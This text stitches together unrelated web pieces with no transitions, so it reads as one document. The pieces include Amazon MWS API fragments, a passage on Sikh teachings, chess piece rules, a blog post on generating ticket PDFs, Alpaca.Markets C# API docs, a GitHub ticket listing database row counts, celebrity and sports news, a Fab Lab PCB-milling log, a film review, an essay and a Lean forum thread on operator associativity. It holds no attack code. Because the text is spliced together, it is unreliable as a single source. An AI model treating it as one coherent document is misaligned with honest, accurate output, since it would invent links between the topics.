Lists: ReportIdList.Id Booleans: Acknowledged Required: ReportIdList
MWS UpdateSubscription/2013-07-01 API call; quota=25 restore=0.50 Updates the subscription for the specified notification type and
destination.
Element|Iter|Map: Subscription (ResponseElement or anything iterable/dict-like) Required: MarketplaceId+Subscription
Invalid address.
One or more parameters in the request is invalid.
One or more parameter values in the request is invalid.
Undefined response error.


All ten of the Sikh Gurus clearly stated that they were human beings. They were simply blessed with the capacity to hear, channel and share the Sound of that Universal Teacher for others to hear. “Sikh” means “Seeker of Truth.” During the time of the Sikh Gurus, the community of believers was diverse, multi-cultural and interreligious. It was only later that the term “Sikh” began to refer to a specific group of people. At its origin, Sikh Dharma meant “the spiritual practice of one who is looking for truth.” 500 years ago, these ten Sikh Gurus taught the equality of men and women. They taught that no group of human beings was higher than any other group. And they claimed that the common brotherhood and sisterhood of the human race was the highest reality. Their teachings empowered people to break the caste system, to overcome social habits that harmed women, to become economically self-sufficient, and to create a tolerant society based on the common humanity of all people.
The Shri Guru Granth Sahib is 1430 pages of sacred teachings and songs.  In addition to 6 of the Sikh Gurus, there are compositions from 30 saints from different religions, places and times. These songs are set to 60 different musical scales, called Raags (Sikher / SikhiWiki). Raags are very particular musical scales. Different Raags are meant to be sung at different times of day or at different seasons.
The spiritual technology for awakening yourself to your Inner Divinity in Sikh Dharma is to pronounce and sing the songs from the Siri Guru Granth Sahib. It is especially powerful to sing them in the Raags in which they are given. But singing or chanting them, in Raag or not, will have a profound healing effect on your body, communication and mind


Chess rules
The rules of chess (also known as the laws of chess) are rules governing the play of the game of chess. While the exact origins of chess are unclear, modern rules first took form during the Middle Ages...
Read more“Chess is a war over the board. The object is to crush the opponent’s mind.”
“I have come to the personal conclusion that while all artists are not chess players, all chess players are artists.”
“I am convinced, the way one plays chess always reflects the player’s personality. If something defines his character, then it will also define his way of playing.”
A chess piece, or chessman, is any of the six different types of movable objects used on a chessboard to play the game of chess.
The pawn moves forward exactly one square, or optionally, two squares when on its starting square, toward the opponent's side of the board.
The bishop moves any number of vacant squares diagonally in a straight line. Consequently, a bishop stays on squares of the same color throughout a game.
The knight moves on an extended diagonal from one corner of any 2×3 rectangle of squares to the furthest opposite corner. Consequently, the knight alternates its square color each time it moves.
The rook moves any number of vacant squares forwards, backwards, left, or right in a straight line. It also takes part, along with the king, in a special move called castling.
The queen moves any number of vacant squares in any direction: forwards, backwards, left, right, or diagonally, in a straight line.
The king moves exactly one vacant square in any direction: forwards, backwards, left, right, or diagonally; however, it cannot move to a square that is under attack by an opponent.
The rules of chess (also known as the laws of chess) are rules governing the play of the game of chess. While the exact origins of chess are unclear, modern rules first took form during the Middle Ages...
Read morePictures of the strongest chess events of the year.
Kramnik vs Giri
Carlsen vs Giri
Gujrathi vs Giri
Carlsen vs Gujrathi


Pally's like your popular friend who can introduce you to like-minded pals anytime. Just let her know what is on your mind, she knows many others who have the same thing in mind!
Pally knows what is going around. Let her know what is on your mind and she can invite you to online discussion chats or real life events around that topic!


Generating Ticket PDFs in Open Event API Server
Generating Ticket PDFs in Open Event API Server
In the ordering system of Open Event API Server, there is requirement to send email notifications to the attendees. These attendees receives the url of the pdf of generated ticket. On creating the order, first the pdfs are generated and stored in the preferred storage location and then these are sent to the users through the email.
Generating PDF is a simple process, using xhtml2pd**f **we can generate PDFs from the html. The generated pdf is then passed to storage helpers to store it in the desired location and pdf-url is updated in the attendees record.
Sample PDF
(just the sample ticket of sample event)
PDF Template
The templates are written in html which are then converted using the module xhtml2pdf.
To store the templates a new directory was created at * *_app/templates _where all html files are stored. Now, The template directory needs to be updated at flask initializing app so that template engine can pick the templates from there. So in app/init.py we updated flask initialization with
template_dir = os.path.dirname(file) + “/templates”
app = Flask(name, static_folder=static_dir, template_folder=template_dir)
This allows the template engine to pick the templates files from this template directory.
Generating PDFs
Generating PDF is done by rendering the html template first. This html content is then parsed into the pdf
file = open(dest, “wb”)
pisa.CreatePDF(cStringIO.StringIO(pdf_data.encode(‘utf-8’)), file)
file.close()
The generated pdf is stored in the temporary location and then passed to storage helper to upload it.
uploaded_file = UploadedFile(dest, filename)
upload_path = UPLOAD_PATHS[‘pdf’][‘ticket_attendee’].format(identifier=get_file_name())
new_file = upload(uploaded_file, upload_path)
This generated pdf path is returned here
Rendering HTML and storing PDF
for holder in order.ticket_holders:
if holder.id != current_user.id:
pdf = create_save_pdf(render_template('/pdf/ticket_attendee.html', order=order, holder=holder))
else:
pdf = create_save_pdf(render_template('/pdf/ticket_purchaser.html', order=order))
holder.pdf_url = pdf
save_to_db(holder)
The html is rendered using flask template engine and passed to create_save_pdf and link is updated on the attendee record.
Sending PDF on email
These pdfs are sent as a link to the email after creating the order. Thus a ticket is sent to each attendee and a summarized order details with attendees to the purchased.
send_email(
to=holder.email,
action=TICKET_PURCHASED_ATTENDEE,
subject=MAILS[TICKET_PURCHASED_ATTENDEE][‘subject’].format(
event_name=order.event.name,
invoice_id=order.invoice_number
),
html= MAILS[TICKET_PURCHASED_ATTENDEE][‘message’].format(
pdf_url=holder.pdf_url,
event_name=order.event.name
)
)
References
-
Readme - xhtml2pdf https://github.com/xhtml2pdf/xhtml2pdf/blob/master/README.rst
-
Using xhtml2pdf and create pdfs https://micropyramid.com/blog/generating-pdf-files-in-python-using-xhtml2pdf/


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Contact
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RM515(D)
Rajeev Motwani Building
Department of Computer Science & Engineering
IIT Kanpur
Kanpur – 208016
India
- Alternately, you can contact me via email at the following addresses:
<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>- My cell number is: +91<PHONE_NUMBER>
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Class StreamingClientBase<TConfiguration>
Provides unified type-safe access for websocket streaming APIs.
Inheritance
Inherited Members
Namespace: Alpaca.Markets
Assembly: Alpaca.Markets.dll
Syntax
public abstract class StreamingClientBase<TConfiguration> : IStreamingClientBase, IDisposable where TConfiguration : StreamingClientConfiguration
Type Parameters
| Name | Description |
|---|---|
| TConfiguration |
Methods
| Improve this Doc View SourceConnectAndAuthenticateAsync(CancellationToken)
Opens connection to a streaming API and awaits for authentication response.
Declaration
public Task<AuthStatus> ConnectAndAuthenticateAsync(CancellationToken cancellationToken = default(CancellationToken))
Parameters
| Type | Name | Description |
|---|---|---|
| System.Threading.CancellationToken | cancellationToken | A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
| Type | Description |
|---|---|
| System.Threading.Tasks.Task<AuthStatus> | Awaitable task object for handling client authentication event in asynchronous mode. |
ConnectAsync(CancellationToken)
Opens connection to a streaming API.
Declaration
public Task ConnectAsync(CancellationToken cancellationToken = default(CancellationToken))
Parameters
| Type | Name | Description |
|---|---|---|
| System.Threading.CancellationToken | cancellationToken | A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
| Type | Description |
|---|---|
| System.Threading.Tasks.Task | Awaitable task object for handling action completion in asynchronous mode. |
DisconnectAsync(CancellationToken)
Closes connection to a streaming API.
Declaration
public Task DisconnectAsync(CancellationToken cancellationToken = default(CancellationToken))
Parameters
| Type | Name | Description |
|---|---|---|
| System.Threading.CancellationToken | cancellationToken | A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
| Type | Description |
|---|---|
| System.Threading.Tasks.Task | Awaitable task object for handling action completion in asynchronous mode. |
Dispose()
Declaration
public void Dispose()
Dispose(Boolean)
Implement System.IDisposable pattern for inheritable classes.
Declaration
protected virtual void Dispose(bool disposing)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Boolean | disposing | If |
HandleError(Exception)
Handles Error event.
Declaration
protected void HandleError(Exception exception)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Exception | exception | Exception for routing into OnError event. |
HandleMessage<TKey>(IDictionary<TKey, Action<JToken>>, TKey, JToken)
Handles single incoming message. Select handler from generic handlers map
handlers
using messageType
parameter
as a key and pass message
parameter as value into the
selected handler. All exceptions are caught inside this method and reported
to client via standard OnError event.
Declaration
protected void HandleMessage<TKey>(IDictionary<TKey, Action<JToken>> handlers, TKey messageType, JToken message)
where TKey : class
Parameters
| Type | Name | Description |
|---|---|---|
| System.Collections.Generic.IDictionary<TKey, System.Action<Newtonsoft.Json.Linq.JToken>> | handlers | Message handlers map. |
| TKey | messageType | Message type for selecting handler from map. |
| Newtonsoft.Json.Linq.JToken | message | Message data for processing by selected handler. |
Type Parameters
| Name | Description |
|---|---|
| TKey |
OnClosed()
Handles Closed event.
Declaration
protected virtual void OnClosed()
OnConnected(AuthStatus)
Raises Connected event with specified authStatus
value.
Declaration
protected void OnConnected(AuthStatus authStatus)
Parameters
| Type | Name | Description |
|---|---|---|
| AuthStatus | authStatus | Authentication status (protocol level) of client. |
OnMessageReceived(String)
Handles MessageReceived event.
Declaration
protected virtual void OnMessageReceived(string message)
Parameters
| Type | Name | Description |
|---|---|---|
| System.String | message | Incoming string message for processing. |
OnOpened()
Handles Opened event.
Declaration
protected virtual void OnOpened()
SendAsJsonString(Object)
Declaration
protected void SendAsJsonString(object value)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Object | value |
Events
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Occured when stream successfully connected.
Declaration
public event Action<AuthStatus> Connected
Event Type
| Type | Description |
|---|---|
| System.Action<AuthStatus> |
OnError
Occured when any error happened in stream.
Declaration
public event Action<Exception> OnError
Event Type
| Type | Description |
|---|---|
| System.Action<System.Exception> |
SocketClosed
Occured when underlying web socket successfully closed.
Declaration
public event Action SocketClosed
Event Type
| Type | Description |
|---|---|
| System.Action |
SocketOpened
Occured when underlying web socket successfully opened.
Declaration
public event Action SocketOpened
Event Type
| Type | Description |
|---|---|
| System.Action |


Climate change - and the greenhouse gas emissions which are driving that change are a major concern for people around the world. The need to find solutions to this crisis becomes more urgent with every passing year. Mathematics can help us to understand the causes of the greenhouse effect and to determine the best strategies for slowing - and one day stopping - the pace of climate change.
in-context


Long range weapons are sniper rifles. Sniper rifles can shoot really far and you can see the target clearly even if the distance between you and target is so big. One thing you need to know if you want to shoot with sniper is that the bullet will have bullet drop, meaning that the bullet height will decrease with the distance. All you need to know is air humidity, wind direction and speed (because the wind can change the direction of the bullet).
Long range weaponsSniper
Sniper
Sniper


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by None at 2023-08-19 00:28:34.@christinach and I completed our testing, including screen reader testing. Final spreadsheet at https://docs.google.com/spreadsheets/d/1YArv0Bcs2thFJINIO_T_s8LLyxVHT8Ent2t3CU7YxxY/edit#gid=0
Thank you! I will pass this on to the vendor.
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by Christina Chortaria at 2023-08-18 19:21:24.@sdellis do you have any thoughts on this ticket?
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by Shaun Ellis at 2023-08-18 14:41:06.The two staging servers are done: figgy-db-staging1: lib-vmserv01a, 4 CPU, 80+30GB hard drives on 001Alletra, 64GB memory figgy-db-staging2: lib-vmserv03a, 4 CPU, 80+30GB hard drives on 00305TB_Alletra, 64GB memory
The two prod servers are done: figgy-db-prod1: lib-vmserv03b, 8 CPU, 30+300+200GB hard drives on 001Alletra, 128GB memory figgy-db-prod2: lib-vmserv02a, 8 CPU, 30+300+200GB hard drives on 00215TB_Alletra, 128GB memory
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by Alicia Cozine at 2023-08-18 19:00:38.closed
by Alicia Cozine at 2023-08-18 19:22:21.figgy-db-staging1:
table_schema | table_name | rows_n
--------------+----------------------------------------+--------
public | orm_resources | 176540
public | browse_everything_upload_files | 104640
public | upload_files | 8626
public | searches | 5324
public | browse_everything_session_models | 641
public | browse_everything_authorization_models | 332
public | browse_everything_upload_models | 173
public | users | 61
public | roles_users | 41
public | schema_migrations | 35
public | session_models | 32
public | authorization_models | 22
public | auth_tokens | 20
public | upload_models | 12
public | ocr_requests | 8
public | bookmarks | 7
public | roles | 2
public | ar_internal_metadata | 1
public | delayed_jobs | 0
public | active_storage_blobs | 0
public | active_storage_variant_records | 0
public | active_storage_attachments | 0
figgy-db-staging2:
table_schema | table_name | rows_n
--------------+----------------------------------------+--------
public | orm_resources | 176540
public | browse_everything_upload_files | 104640
public | upload_files | 8626
public | searches | 5324
public | browse_everything_session_models | 641
public | browse_everything_authorization_models | 332
public | browse_everything_upload_models | 173
public | users | 61
public | roles_users | 41
public | schema_migrations | 35
public | session_models | 32
public | authorization_models | 22
public | auth_tokens | 20
public | upload_models | 12
public | ocr_requests | 8
public | bookmarks | 7
public | roles | 2
public | ar_internal_metadata | 1
public | delayed_jobs | 0
public | active_storage_blobs | 0
public | active_storage_variant_records | 0
public | active_storage_attachments | 0
lib-postgres3
table_schema | table_name | rows_n
--------------+----------------------------------------+--------
public | orm_resources | 176540
public | browse_everything_upload_files | 104640
public | upload_files | 8626
public | searches | 5324
public | browse_everything_session_models | 641
public | browse_everything_authorization_models | 332
public | browse_everything_upload_models | 173
public | users | 61
public | roles_users | 41
public | schema_migrations | 35
public | session_models | 32
public | authorization_models | 22
public | auth_tokens | 20
public | upload_models | 12
public | ocr_requests | 8
public | bookmarks | 7
public | roles | 2
public | ar_internal_metadata | 1
public | delayed_jobs | 0
public | active_storage_variant_records | 0
public | active_storage_blobs | 0
public | active_storage_attachments | 0
figgy-db-prod1:
table_schema | table_name | rows_n
--------------+----------------------------------------+----------
public | orm_resources | 31225083
public | searches | 8234952
public | browse_everything_upload_files | 2212748
public | ocr_requests | 20494
public | browse_everything_session_models | 15829
public | browse_everything_authorization_models | 7918
public | browse_everything_upload_models | 6990
public | users | 5495
public | auth_tokens | 618
public | roles_users | 395
public | bookmarks | 162
public | schema_migrations | 35
public | active_storage_blobs | 4
public | active_storage_attachments | 4
public | roles | 3
public | ar_internal_metadata | 1
public | active_storage_variant_records | 0
public | delayed_jobs | 0
figgy-db-prod2:
table_schema | table_name | rows_n
--------------+----------------------------------------+----------
public | orm_resources | 31225084
public | searches | 8234953
public | browse_everything_upload_files | 2212748
public | ocr_requests | 20494
public | browse_everything_session_models | 15829
public | browse_everything_authorization_models | 7918
public | browse_everything_upload_models | 6990
public | users | 5495
public | auth_tokens | 618
public | roles_users | 395
public | bookmarks | 162
public | schema_migrations | 35
public | active_storage_blobs | 4
public | active_storage_attachments | 4
public | roles | 3
public | ar_internal_metadata | 1
public | active_storage_variant_records | 0
public | delayed_jobs | 0
lib-postgres3
table_schema | table_name | rows_n
--------------+----------------------------------------+----------
public | orm_resources | 31225084
public | searches | 8234953
public | browse_everything_upload_files | 2212748
public | ocr_requests | 20494
public | browse_everything_session_models | 15829
public | browse_everything_authorization_models | 7918
public | browse_everything_upload_models | 6990
public | users | 5495
public | auth_tokens | 618
public | roles_users | 395
public | bookmarks | 162
public | schema_migrations | 35
public | active_storage_attachments | 4
public | active_storage_blobs | 4
public | roles | 3
public | ar_internal_metadata | 1
public | delayed_jobs | 0
public | active_storage_variant_records | 0
(18 rows)
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by None at 2023-08-19 01:50:15.Old ticket that sounds similar: https://github.com/pulibrary/lae-blacklight/issues/330
The queues weren't made - redeploying LAE got that going, and then I kicked off a reindex on lae1
.
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DeAndre Hopkins Pulled Off A Crazy Toe-Drag On The Sidelines To Complete Catch (VIDEO)
by Darrelle LincolnFaced with a 3rd-down, the Houston Texans were looking to be on their way to punt the ball away to the Indianapolis Colts until DeAndre Hopkins had his number called.
While scrambling in the pocket, the shifty WR caught a pass near the sidelines that was ruled out, but a ref came in to change his mind, because Hopkins pulled off an unreal toe-drag to complete that catch.
Crazy catch.


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Photos of the day: From ‘Good Newwz’ trailer launch to Manish Malhotra’s father’s funeral to trailer preview of Ajay Devgn’s ‘Tanhaji: The Unsung Warrior’, pictures that grabbed headlines
by TIMESOFINDIA.COMAjay Devgn’s ‘Tanhaji: The Unsung Warrior’, pictures that grabbed headlines It was a busy day in B-town today with the much-awaited trailer launch of Akshay Kumar-Kareena Kapoor Khan starrer, ‘Good Newwz’ to the trailer preview of Ajay Devgn’s period drama, ‘Tanhaji: The Unsung Warrior’. B-town celebs were also in full attendance at designer Manish Malhotra’s father’s funeral today.
Here are pictures that grabbed headlines today:
Akshay Kumar, Kareena Kapoor Khan, Diljit Dosanjh and Kiara Advani at ‘Good Newwz’ trailer launch
The much-awaited trailer of ‘Good Newwz’ was unveiled today. Dressed in their best, Akshay Kumar, Kareena Kapoor Khan, Diljit Dosanjh and Kiara Advani were seen posing for the shutterbugs. Filmmaker Karan Johar also joined the leading cast on stage at the launch where he was seen interacting with the media.
Bollywood celebs attend Manish Malhotra’s father’s funeral
Bollywood designer Manish Malhotra’s father’s funeral was held on Monday morning. The fashion designer's close friends from the film industry dropped by the Malhotra's Mumbai residence to pay their last respects. Malaika Arora, Shilpa Shetty, Karan Johar, Shabana Azmi, Amrita Arora, Farah Khan, Urmila Matondkar and others were seen attended the last rites.
Trailer preview of ‘Tanhaji: The Unsung Warrior’ for B-town
Ahead of the trailer release of Ajay Devgn starrer ‘Tanhaji: The Unsung Warrior’, the makers had arranged a special preview of the trailer for their Bollywood counterparts. Seen attending the same were Rohit Shetty, Imtiaz Ali, Sanjay Leela Bhansali, Bhushan Kumar, Aanand L Rai and others.


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The modela is a awesome little milling machine that can mill out most of the PCBs you will need for rapid prototyping. To be able to mill on it, you need to have FR1 which is a paper based copper plate. You cannot mill the fiberglass copper plates on the modela as it will break your bit and the dust it will create is irritant. The FR1 is more tan than the fiberglass, which is more green, and the FR1 is available in 2x3 inch and 4x6 inch pieces.

The first step is to Fix the sacrificial layer PCB on to the modela base plate using double sided tape. We must ensure that it is alligned perfectly to the orgin.

The second step is to Fix the PCB to be milled on to the modela base plate over the sacrificial layer using double sided tape.

Proper care should also be taken to make sure that there are no uneven surfaces as it will otherrwise result in improper milling.

Next step is to fix the proper bit for milling. The 1/64" bit is used for milling tracks and 1/32" bit for milling out the unused areas and cutting board edges.

The bits are fixed with the help of allen key tool. This is done in the view mode of Modela. At first the bit is kept well above the desired height to position the Z manually. Once the orgin is chosen and the head is moved to the desired location,( lower the bit using UP/DOWN keys / adjusting the bit height fixed with the help of allen key ) of modela to touch the PCB. Now tighten the bit in the chosen location, and you are ready to start milling.

Picture shows the bit fixed to the desired (x,y) ready for milling. Care should be taken to select the orgin with enough clearance from the edges.

Moving on to the software side, to control the modela, open terminal and type 'fab' which will invoke the fab modules service menu as shown.
Here choose input format as " image " and output to process as " Roland MDX 20 mill (.rml) "

Unlike how it should open the interface to control modela, I received a serial Exception as shown below.

This happens beacuse the interface software is unable to get connected with the Modela machine.
To fix this problem, open another terminal and type as follows,
$ sudo chmod 666 /dev /ttyUSB0

This command will reestablish communication with modela and the user interface will be opened.

The software interface for modela provides options to choose the milling bit preferred ( use 1/64" for milling tracks ) , the option to input file to be milled ( The PNG format of the tracks ), path settings, depth and many other settings to fine tune the process.
Franscisco asked all of us to first mill and assemble the FabISP programmer PCB as it will be further used in the upcoming embedded sessions

We can visualize the board dimensions, path it will be using to move the head etc, once it is verified and found correct, choose make .rml and send it.

The ouput screen will show the estimated time for completion and the machine will start milling.

Once the milling of tracks are finished, inorder to cut the board edge, first change the bit to 1/32", then load the board edge PNG file and repeat the same process that we did while milling the tracks.

The following picture shows the milled PCB, proper care should be taken while taking out the cut PCB as there is always chance to break it while pulling out from the base.

Starting to populate the FabISP pcb starting with the ATTINY microcontroller first.

The completly finished FabISP PCB.

The file used for the process can be downloaded from here

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kokopelli is an open-source tool for computer-aided design and manufacturing (CAD/CAM).It uses Python as a hardware description language for solid models. A set of core libraries define common shapes and transforms, but users are free to extend their designs with their own definitions.

Franscisco introduced us Kokopelli. We started playing aroung it by downloading the FTDI hello world examples shown in the following screen..

We added a button and LED the exiting board and learned how to tinker with kokopelli

In kokopelli we never draw a circuit, instead we write codes for that as shown below. The graphical reasult is shown to the right.

Once the initial starting trouble was overcome, playing around kokopeilli was fairly straight forward and easy to understand. We should understand how each component is added as classes and how to place them in the borad refereing to another component already exixting in the board.

I completed the board with out much difficulty and it is ready to be exported for miling, while exporting we can mention the resolution of pixels. Initially I gave 10, but it was not sufficient and then I repeated the same with a resolution setting of 40.

Inorder to export the traces and board outline seperately, we have to comment or uncomment the desired output settings available in the initial part of the code as shown below.

The image files are ready to be milled and the screen shots of the same are attached for reference. I am not givng a detailed description about how to mill PCBs as it is already explained in the Modella PCB Milling section.
Milling the traces..

Cutting the board edges..

The completed PCB.

Now it is time to assemple the PCB, I had some confusion while trying to find the Anode and Cathode of the SMD LED, The following diagrams are for reference.

The completly assembled PCB.

The file used for the process can be downloaded from here

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Downloading the FabISP firmware to the ISP programmer I assembled.

Changes to be made while using the AVR programer.

Initially I received the following error as I did not had the proper compiler installed.

Debugging and trouble shooting the error..

Fixed the error by installig the proper versions of compiler.

Generating the Hex to be dumped to the Microcontroller.

All the twist started at this point when I tried to dump the firmware to the ISP module.

In noway the program was geting loaded into the ISP microcontroller and kept on giving the error as shown below.

We suspected the microcontroller to be faulty and tried to change that, but that did not solve the problem

Me and Francisco were never ready give up and wanted to see it work this day itself.

We kept on trying many options till late night. We tried to change the crystal and also tried to reflow all the solderings, but to our great disappointment nothng worked and we had to finally call it a day.

An intense googling did help Francisco to thnik in the direction of the least suscpected cable that we used for connecting the ISP module to be defective. He asked me to try changing that, and to all our great surprise the ISP got programmed flawlessly :-)

The chances are very less to suspect the cable as it was without any problem powering the module, well to our great relief we fixed the problem and my ISP module is ready finally :-)

My FabISP module sucessfully being programmed finally by the AVR programmer.

More about real world application of embedded programing can be found on my project documentation section.

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Links to add ATTINY library with Arduino.

Installing and Updating the Library.

Installing Serial Port Monitoring Software to control and read data from the Microcontroller using PCs Serial Port.

Inorder to learn interface and interactive programing we tried the following with the FTDI Hello world board developed using Kokopelli.

The following are screenshots for reference.

The file used for the process can be downloaded from here

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i do not know why we had such a different experience , but we very disappointed .
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even though we specifically asked to be located away from the interstate and road noise .


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Eva Marcille Talks Bouncing Back After Welcoming Her Third Addition To The Family Just Weeks Ago!
by Ashley MitchellIt’s only been a few weeks since Eva Marcille welcomed her baby boy, Maverick and she looks as great as ever! The Real Housewives of Atlanta star is definitely not struggling to lose any pregnancy weight!
The whole latest season of the show documented her third pregnancy since she was already a mother of two and it’s safe to say that she glowed the entire time!
Now that the bundle of joy is here, Eva is looking forward to the day she can return to the gym so that she can once again focus on her fitness.
While at BravoCon, she chatted with HollywoodLife, telling the site about her weight gain and plans to work out as soon as she is allowed to.
‘I think in the end it was like 40 something [pounds]. First day of BravoCon started my five weeks and it takes six weeks before you even go back to the doctor or workout or do anything. So I go see [Married To Medicine’s] Dr. Jackie [Walters], my doctor. Hopefully, she clears me to work out,’ the reality TV star dished.
At the end of the day, carrying and having a baby, especially all the while caring for two other young kids is not easy at all!
That is the main reason why Eva is very proud of her and her body for going through it so successfully.
About the weight gain, she joked that ‘I mean, hey, it was a whole baby. We are and however you do it, if it’s a C-section if is natural. I had an epidural for sure.’
The celeb revealed that she is determined to go back to her pre-pregnancy body before the reunion ‘So that I can slay with like a proper side-eye and snatchedness, yes.’


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Deliberate Improvement
Ever wonder how some people accomplish so much?
Well, it is a big deal. And in spite of how effortless these accomplishments may appear, people work harder than you likely realize to make these things happen. There is, however, one thing they know—at least in practice—that you don’t.
Most of us want to finish the race, but see running as a chore. A few dream about being great authors, but find the writing itself to be slow and difficult. Some of us learn all we can about starting a company, only to hit a wall when it comes time to get down to work.
Self-help books and workshops arm us with ways to trick ourselves into doing things we perhaps should, but generally don’t want, to do. I ask whether this lack of will might actually be the universe trying to tell us something?
Maybe you aren’t supposed to bother with the tedious stuff. Perhaps the reason you haven’t done it yet, is that you weren’t meant to. Might achievement, as a goal unto itself, be pointless? Could this need to have done something notable, simply be greed in a more socially-acceptable form?
More than all of the rest, though: What if the missing part of the puzzle is not a lack of willpower, but instead a lack of love?
The runner discovers tranquility on the road, forgetting the pain. The writer gives in to the joy of playing with words, moving past the aggravation. The entrepreneur finds purpose in making something, and stops noticing the long days.
You can spend your life fretting about how healthy, interesting, or successful you are. In fact, a whole industry depends upon this, and is eager to help you make plans to change.
On the other hand, you might consider simply finding what you love, and letting the rest take care of itself.


THE NEPHEW (1998)
(Rating **** out of ******)
A review from the Stockholm Film Review http://www.fortunecity.com/lavendar/heat/435/
Tony Egan (Donal McCann) devotes his time to farming a small holding on the Irish island Inishdaragh. He gets a shock when he receives a letter from America from his estranged sister. It is twenty years since she left, and she has written to Tony asking him to look after her teenage son Chad, since she is dying and he is her only living relative. When Chad (Hill Harper) arrives, his presence causes a reaction among the people of the island, and also revives a dark episode in Tony's past, which had lain simmering since his sister's departure. There are a number of enduring themes in Irish story-telling, regardless of whether the medium is prose, theatre or film-making. One is the claustrophobic nature of small-town or rural life in Ireland, which is accentuated in an island community. No relationships of any sort can escape the attention of the community, and the close-knit nature of the community means that a destructive act can ripple throughout and affect everyone. Another is the long-lived nature of people's memories, where deeds of ancestors continue to colour the lives of the living. And, of course, no self-respecting Irish drama is complete without the sea. The sea, which introduces visitor and invader alike, and which provides the means of escape, usually to the new world (America). All of these themes feature in The Nephew, though happily as merely background material for a light-hearted and funny love story. It is probably just as well, since the story (by Jacqueline O'Neill and Jack. P. Steele) is almost too complex for its own good. Chad returns to Inisdaragh to learn more about his mother's family and background. His quest causes unease amongst several of the locals, especially his uncle, but also the local bar-owner, Mr. O'Brady (Pierce Brosnan, who also has a credit as executive producer). Egan and O'Brady hate each other, and the source of that hatred is a relationship between O'Brady and Chad's mother decades earlier, and Egan's opposition to it. Matters aren't helped when Chad begins to woo O'Brady's daughter, Aislin (Aislin McGuckin). If that wasn't enough, Chad incurs the enmity of Peter (who secretly desires Aislin), and whom Egan pointedly ignores every time they meet, even though Egan is friendly with his mother, the local postmistress (played by Sinéad Cusack). Phew ! Luckily, the potential for a gloomy drama is avoided by large helpings of humour. Donal McCann is one of Ireland's most underrated and versatile actors, and he conveys just enough bitter humour with dourness, guilt and regret to retain our sympathies. Egan's actions in the past has irreparably changed the course of his family for worse rather than better, and now Chad's arrival offers him a similar set of choices - can he live with the same consequences ? The blossoming relationship between Chad and Aislin is also nicely done (though Chad's interest in her is never clear - her friend Rachel (Lorraine Pilkington) seems far more fun). There are some nicely observed scenes, particularly Chad's encounters with farming, and a very funny (and accurate) depiction of a choir at a Roman Catholic mass, which features Tony (Phelim Drew) who appears throughout the movie to liven it up. Unfortunately, one of the better moments is spoiled by the trailer. The film is not without its flaws - the relationships dovetail too neatly, and are far too conveniently resolved, considering the dark nature of the story. In fact, the story would be better served with less characters, since some of them never develop beyond bare outlines. The character of Peter (Luke Griffin) does nothing but sulk and glower in every scene, but there's little else he can do since he has so little dialogue. Pierce Brosnan seems so intent on not upstaging anyone that he practically fades into the background - it's a shame that his character does not have a more central role. The director never really captures the feeling of a small island community either - panning shots of mountain ranges and expansive lakes don't help (the movie was filmed in Wicklow, by the look of it), and there are probably too many shots of characters staring dolefully out to sea. Nevertheless, the Nephew is surprisingly good fun, and the instances of emotional catharsis are well outnumbered by comic moments.
Directed by Eugene Brady.
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Is that normal? #eval 2^3^2
gives 64. I don't know any other language where this is the case. I just tried python, pari, sage and they all give me 2^(3^2)=512.
Wikipedia page on associativity https://en.wikipedia.org/wiki/Operator_associativity explicitly mentions ^
as being essentially a canonical example of a right associative operator. This is a very bizarre implementation decision. Whatever reason is there for it? (a^b)^c
is just a^(b*c)
but a^(b^c)
cannot be written in any simpler way and is hence the natural choice. Should I file an issue? Is this just an oversight? Should I just fix it and submit a PR?
I might be at fault for that issue. As far as I know, I was the first one to commit code for the exponential operator and I think I didn't put much thought into its associativity. It's worth filing an issue. It's also easy to fix so they might be happy if you file a PR that they just have to merge
We're talking init/data/nat/basic.lean, copyright 2014 Floris van Doora and Leo de Moura
i think this falls under the nitpicking issues will not be tolerated clause
:/ but i agree ideally it should be right associative
:/
It's not a nitpicking issue, it's a nitpicking PR!
If it breaks anything, the thing it breaks deserves to be broken!
We're talking init/data/nat/basic.lean, copyright 2014 Floris van Doora and Leo de Moura
I initially put it in a pow
file. They probably merged it with basic and dropped my name
Wasn't there a discussion that this should be generalized to a typeclass anyway? If someone PRs those changes, they'll get a "looks good to me" from me.
that type class exists in mathlib
. It would be great indeed to move it to core. That would remove the operator clash
Alternatively, do a PR that removes the notation :P
Isn't it used in core?
I see that bitvec uses it
Is that something that should be moved to mathlib
?
Well so far I have cloned lean, changed infix `^` := pow
to infixr `^` := pow
, recompiled, and found that #print notation ^
still reports _ `^`:80 _:80 := nat.pow #1 #0
I could have made a mistake I guess.
Ok so I did it again and the same thing happened. Changing line 204 of library/init/data/nat/basic.lean
from infix `^` = pow
to `infixr
^ = pow
and then compiling lean and feeding a test file into it directly with ./lean ~/test.lean
still gives me left associativity. Aah well.
PS It's needed as a map G x Z -> G
(G a group, Z the integers), as a map M x N -> M
(M a multiplicative monoid, N the naturals) etc. Is a typeclass the best solution? I think Mario explained all this once to me on gitter but I doubt I'll ever find it :-/
Your modification is correct, I think you aren't compiling something
I'm just cut and pasting from the generic build instructions like a moron
I surely don't have to use git in any way?
I am just cloning, editing the file, and then making
I've done it three times now so I suspect that it's not me failing to edit the file or failing to run the correct binary, I think now that it's more likely either that the generic build instructions are somehow clobbering my edits or that there's something else I'm missing. I've tried defining a new right associative operator to mean nat.pow and it works fine. It's just ^
that is still misbehaving
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